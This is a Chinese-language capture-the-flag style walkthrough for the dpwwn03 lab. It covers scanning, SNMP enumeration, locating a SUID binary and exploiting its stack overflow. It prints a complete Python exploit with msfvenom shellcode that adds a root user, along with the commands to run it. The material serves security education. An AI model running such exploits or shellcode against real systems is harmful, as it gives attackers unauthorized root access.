Linux通过栈溢出进行提权实战(dpwwn03)
字数 1099 2025-08-15 21:33:12
Linux栈溢出提权实战教程:以dpwwn03靶场为例
一、Linux常见提权方式概述
在开始栈溢出提权实战前,我们先了解Linux系统中常见的提权方法:
- 内核漏洞提权:如脏牛(Dirty Cow)等内核级漏洞利用
- 定时任务(Cron)提权:利用以root权限运行的定时任务中的漏洞
- SUID提权:利用设置了SUID位的可执行文件
- sudo配置错误:利用sudoers文件中配置不当的命令权限
- 第三方组件漏洞:利用以root权限运行的服务或程序漏洞
- NFS提权:利用网络文件系统配置不当(如no_root_squash)
二、靶场环境准备
1. 主机发现
使用以下命令发现靶机IP:
arp-scan -l
nmap -sP 192.168.167.0/24
2. 端口扫描
使用Nmap进行详细端口扫描:
nmap -sS -sV -Pn -T4 -p- 192.168.167.189
nmap -A -O -sV -p 22,161 --script=vuln 192.168.167.189
三、漏洞挖掘与初始访问
1. SSH服务分析
使用searchsploit查找SSH相关漏洞:
searchsploit ssh
2. SNMP服务利用
使用snmpwalk工具查询SNMP信息:
snmpwalk -c public -v1 192.168.167.189
通过SNMP获取的信息可能包含有用的凭据,可用于SSH登录。
四、提权分析
1. 检查sudo权限
登录后首先检查当前用户的sudo权限:
sudo -l
2. 分析SUID程序
查找具有SUID位的程序:
find / -perm -4000 2>/dev/null
发现目标程序smashthestack具有SUID位且属于root。
3. 程序保护机制分析
使用checksec分析程序保护机制:
checksec --file=/path/to/smashthestack
关键保护机制:
- RELRO:Partial RELRO(可修改GOT表)
- Stack Canary:未开启栈保护
- NX:未开启(栈可执行)
- PIE:未开启(地址固定)
4. 程序逆向分析
程序关键漏洞:
char result[728];
read(0, result, 1024); // 缓冲区溢出漏洞
五、漏洞利用开发
1. 生成shellcode
使用msfvenom生成添加root用户的shellcode:
msfvenom -p linux/x86/adduser USER=hack PASS=hack123 -e x86/alpha_mixed -f python
2. 构造exploit
完整Python exploit代码:
#!/usr/bin/python
import sys, socket
EIP = "\xd1\xf2\xff\xbf" # 覆盖的返回地址
junk = "A"*732 # 填充缓冲区
NOP = "\x90" * 16 # NOP雪橇
# msfvenom生成的shellcode
payload = (
"\x89\xe0\xda\xca\xd9\x70\xf4\x59\x49\x49\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41"
"\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42"
"\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x35"
"\x61\x58\x49\x4c\x49\x48\x4b\x50\x6a\x51\x56\x51\x48\x68\x4d"
"\x4b\x30\x42\x4a\x53\x35\x50\x58\x45\x61\x6f\x39\x72\x71\x75"
"\x38\x62\x53\x32\x53\x32\x57\x70\x64\x62\x48\x66\x4f\x34\x6f"
"\x44\x30\x73\x51\x45\x38\x34\x6f\x30\x65\x51\x64\x70\x63\x4b"
"\x39\x78\x63\x52\x61\x4d\x65\x45\x54\x58\x4d\x4b\x30\x6f\x63"
"\x6a\x48\x77\x52\x57\x70\x77\x70\x53\x30\x61\x78\x51\x71\x70"
"\x63\x52\x4b\x77\x4a\x52\x61\x30\x7a\x75\x32\x62\x67\x31\x62"
"\x54\x6f\x57\x31\x75\x35\x33\x71\x43\x62\x32\x71\x74\x30\x71"
"\x51\x76\x5a\x46\x50\x57\x4a\x56\x50\x46\x5a\x56\x5a\x64\x6f"
"\x46\x5a\x34\x6f\x63\x52\x50\x69\x72\x4e\x34\x6f\x44\x33\x52"
"\x48\x75\x5a\x63\x69\x4c\x4b\x72\x71\x4b\x4c\x30\x6a\x43\x34"
"\x56\x38\x5a\x6d\x6b\x30\x43\x5a\x63\x31\x50\x58\x78\x4d\x4d"
"\x50\x41\x41"
)
buffer = junk + EIP + NOP + payload
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("localhost",3210))
s.send(buffer)
s.close()
3. 执行exploit
- 将exploit保存到/tmp目录
- 运行exploit:
python /tmp/exploit.py
- 切换到新创建的root用户:
su hack
六、技术要点总结
- 栈溢出原理:通过向固定大小缓冲区写入超量数据覆盖返回地址
- 关键偏移计算:
- 缓冲区大小:728字节
- EIP偏移:732字节(728+4字节EBP)
- 绕过保护机制:
- 无栈保护(Canary):直接覆盖返回地址
- 无NX:可在栈上执行代码
- 无PIE:地址固定,便于定位
七、扩展练习
- 尝试生成反弹shell的shellcode
- 尝试在开启NX保护的情况下使用ROP技术进行利用
- 研究如何动态确定shellcode地址(当PIE开启时)
通过本实战,我们掌握了如何利用栈溢出漏洞进行提权,理解了Linux程序的各种保护机制及其绕过方法。